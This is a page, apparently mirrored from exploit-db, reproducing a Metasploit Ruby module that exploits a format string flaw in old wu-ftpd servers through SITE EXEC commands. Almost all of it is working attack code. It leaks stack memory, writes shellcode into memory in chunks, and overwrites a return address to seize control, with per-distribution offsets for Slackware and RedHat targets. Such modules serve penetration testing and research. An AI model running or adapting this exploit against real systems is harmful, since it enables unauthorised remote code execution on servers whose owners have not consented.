WU-FTPD – Site EXEC/INDEX Format String (Metasploit)

  • 作者: Metasploit
    日期: 2010-11-30
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16311/
  • ##
    # $Id: wuftpd_site_exec_format.rb 11166 2010-11-30 00:16:53Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GreatRanking
    
    	include Msf::Exploit::Remote::Ftp
    	include Msf::Exploit::FormatString
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'wu-ftpd SITE EXEC/INDEX Format String Vulnerability',
    			'Description'=> %q{
    					This module exploits a format string vulnerability in versions of the
    				Washington University FTP server older than 2.6.1. By executing
    				specially crafted SITE EXEC or SITE INDEX commands containing format
    				specifiers, an attacker can corrupt memory and execute arbitrary code.
    			},
    			'Author' => [ 'jduck' ],
    			'Version'=> '$Revision: 11166 $',
    			'References' =>
    				[
    					['CVE', '2000-0573'],
    					['OSVDB', '11805'],
    					['BID', '1387']
    				],
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'process',
    					'PrependChrootBreak' => true
    				},
    			'Privileged' => true,
    			'Payload'=>
    				{
    					# format string max length
    					'Space'=> 256,
    					# NOTE: \xff's need to be doubled (per ftp/telnet stuff)
    					'BadChars' => "\x00\x09\x0a\x0d\x20\x25\x2f",
    					'DisableNops'	=>'True',
    					'StackAdjustment' 	=> -1500
    				},
    			'Platform' => [ 'linux' ],
    			'Targets'=>
    			[
    				#
    				# Automatic targeting via fingerprinting
    				#
    				[ 'Automatic Targeting', { 'auto' => true }],
    
    				#
    				# specific targets
    				#
    				[	'Slackware 2.1 (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994)',
    					{
    						'UseDPA' 	=> false,
    						'PadBytes'	=> 3,
    						'NumPops' 	=> 8,
    						'AddrPops'=> 100,
    						'Offset'=> -2088, 			# offset to stack return
    						'Writable' 	=> 0xbfffde26, 	# stack, avoid badchars
    						'FlowHook'	=> -1, # auto now... 0xbffff1e4		# stack return addr
    					}
    				],
    				# these aren't exploitable (using built-in, stripped down vsprintf, no %n)
    				#[	'RedHat 5.2 (Version wu-2.4.2-academ[BETA-18](1) Mon Aug 3 19:17:20 EDT 1998)',
    				#[	'RedHat 6.0 (Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999)',
    				#[	'RedHat 6.1 (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999)',
    				[	'RedHat 6.2 (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000)',
    					{
    						'UseDPA' 	=> true,
    						'PadBytes'	=> 2,
    						'NumPops' 	=> 276,
    						'AddrPops'=> 2,
    						'Offset'=> -17664, 			# offset to stack return
    						'Writable' 	=> 0x806e726,		# bss
    						#'Writable' 	=> 0xbfff0126,		# stack, avoid badchars
    						'FlowHook'	=> -1, # auto now... 0xbfffb028		# stack return addr
    						#'FlowHook'=> 0x806e1e0		# GOT of sprintf
    					}
    				],
    
    				#
    				# this one will detect the parameters automagicly
    				#
    				[	'Debug',
    					{
    						'UseDPA' 	=> false,
    						'PadBytes'	=> 0,
    						'NumPops' 	=> 0,
    						'AddrPops'=> -1,
    						'Offset'=> -1,
    						'Writable' 	=> 0x41414242, 	#
    						'FlowHook'	=> 0x43434545		#
    					}
    				],
    			],
    			'DefaultTarget'=> 0,
    			'DisclosureDate' => 'Jun 22 2000'))
    		register_options(
    			[
    				Opt::RPORT(21),
    			], self.class )
    	end
    
    
    	def check
    		# NOTE: We don't care if the login failed here...
    		ret = connect_login
    
    		# We just want the banner to check against our targets..
    		print_status("FTP Banner: #{banner.strip}")
    		status = Exploit::CheckCode::Safe
    		if banner =~ /Version wu-2\.(4|5)/
    			status = Exploit::CheckCode::Appears
    		elsif banner =~ /Version wu-2\.6\.0/
    			status = Exploit::CheckCode::Appears
    		end
    
    		# If we've made it this far, we care if login succeeded.
    		if (ret)
    			# NOTE: vulnerable and exploitable might not mean the same thing here :)
    			if not fmtstr_detect_vulnerable
    				status = Exploit::CheckCode::Safe
    			end
    			if not fmtstr_detect_exploitable
    				status = Exploit::CheckCode::Safe
    			end
    		end
    
    		disconnect
    		return status
    	end
    
    
    	def exploit
    
    		if (not connect_login)
    			raise RuntimeError, 'Unable to authenticate'
    		end
    
    		# Use a copy of the target
    		mytarget = target
    
    		if (target['auto'])
    			mytarget = nil
    
    			print_status("Automatically detecting the target...")
    			if (banner and (m = banner.match(/\(Version wu-(.*)\) ready/))) then
    				print_status("FTP Banner: #{banner.strip}")
    				version = m[1]
    			else
    				raise RuntimeError, "No matching target"
    			end
    
    			regexp = Regexp.escape(version)
    			self.targets.each do |t|
    				if (t.name =~ /#{regexp}/) then
    					mytarget = t
    					break
    				end
    			end
    
    			if (not mytarget)
    				raise RuntimeError, "No matching target"
    			end
    
    			print_status("Selected Target: #{mytarget.name}")
    		else
    			print_status("Trying target #{mytarget.name}...")
    			if banner
    				print_status("FTP Banner: #{banner.strip}")
    			end
    		end
    
    		# proceed with chosen target...
    
    		# detect stuff!
    		if mytarget.name == "Debug"
    			#fmtstr_set_caps(true, true)
    			# dump the stack, so we can detect stuff magically
    			print_status("Dumping the stack...")
    			stack = Array.new
    			extra = "aaaabbbb"
    			1000.times do |x|
    				dw = fmtstr_stack_read(x+1, extra)
    				break if not dw
    				stack << dw
    			end
    
    			stack_data = stack.pack('V*')
    			print_status("Obtained #{stack.length*4} bytes of stack data:\n" + Rex::Text.to_hex_dump(stack_data))
    
    			# detect the number of pad bytes
    			idx = stack_data.index("aaaabbbb")
    			if not idx
    				raise RuntimeError, "Whoa, didn't find the static bytes on the stack!"
    			end
    			num_pad = 0
    			num_pad = 4 - (idx % 4) if (idx % 4) > 0
    			mytarget.opts['PadBytes'] = num_pad
    
    			# calculate the number of pops needed to hit our addr
    			num_pops = (idx + num_pad) / 4
    			mytarget.opts['NumPops'] = num_pops
    		else
    			num_pad = mytarget['PadBytes']
    			num_pops = mytarget['NumPops']
    			sc_loc = mytarget['Writable']
    			ret = mytarget['FlowHook']
    		end
    
    		print_status("Number of pad bytes: #{num_pad}")
    		print_status("Number of pops: #{num_pops}")
    
    		# debugging -> don't try it!
    		return if mytarget.name == "Debug"
    
    		#print_status("ATTACH!")
    		#select(nil,nil,nil,5)
    
    		fmtstr_detect_caps
    
    		# compute the stack return address using the fmt to leak memory
    		addr_pops = mytarget['AddrPops']
    		offset = mytarget['Offset']
    		if addr_pops > 0
    			stackaddr = fmtstr_stack_read(addr_pops)
    			print_status("Read %#x from offset %d" % [stackaddr, addr_pops])
    			ret = stackaddr + offset
    		end
    
    		print_status("Writing shellcode to: %#x" % sc_loc)
    		print_status("Hijacking control via %#x" % ret)
    
    
    		# no extra bytes before the padding..
    		num_start = 0
    
    		# write shellcode to 'writable'
    		arr = fmtstr_gen_array_from_buf(sc_loc, payload.encoded, mytarget)
    
    		# process it in groups of 24 (max ~400 bytes per command)
    		sc_num = 1
    		while arr.length > 0
    			print_status("Sending part #{sc_num} of the payload...")
    			sc_num += 1
    
    			narr = arr.slice!(0..24)
    
    			fmtbuf = fmtstr_gen_from_array(num_start, narr, mytarget)
    			# a space allows the next part to start with a '/'
    			fmtbuf[num_pad-1,1] = " "
    			fmtbuf.gsub!(/\xff/, "\xff\xff")
    			if ((res = send_cmd(['SITE', 'EXEC', fmtbuf], true)))
    				if res[0,4] == "500 "
    					raise RuntimeError, "Crap! Something went wrong when uploading the payload..."
    				end
    			end
    		end
    
    
    		# write 'writable' addr to flowhook (execute shellcode)
    		# NOTE: the resulting two writes must be done at the same time
    		print_status("Attempting to write %#x to %#x.." % [sc_loc, ret])
    
    		fmtbuf = generate_fmt_two_shorts(num_start, ret, sc_loc, mytarget)
    		# a space allows the next part to start with a '/'
    		fmtbuf[num_pad-1,1] = " "
    		fmtbuf.gsub!(/\xff/, "\xff\xff")
    		# don't wait for the response here :)
    		res = send_cmd(['SITE', 'EXEC', fmtbuf], false)
    
    		print_status("Your payload should have executed now...")
    		handler
    	end
    
    
    	#
    	# these two functions are used to read stack memory
    	# (used by fmtstr_stack_read()
    	#
    	def trigger_fmt(fmtstr)
    		return nil if fmtstr.length >= (512 - (4+1 + 4+1 + 2 + 2))
    		send_cmd(['SITE', 'EXEC', 'x', fmtstr], true)
    	end
    
    	def extract_fmt_output(res)
    		if (res =~ /^5.. /)
    			#throw "Crap! Something went wrong while dumping the stack..."
    			return nil
    		end
    		ret = res.strip.split(/\r?\n/)[0]
    		ret = ret[6,ret.length]
    		return ret
    	end
    
    
    end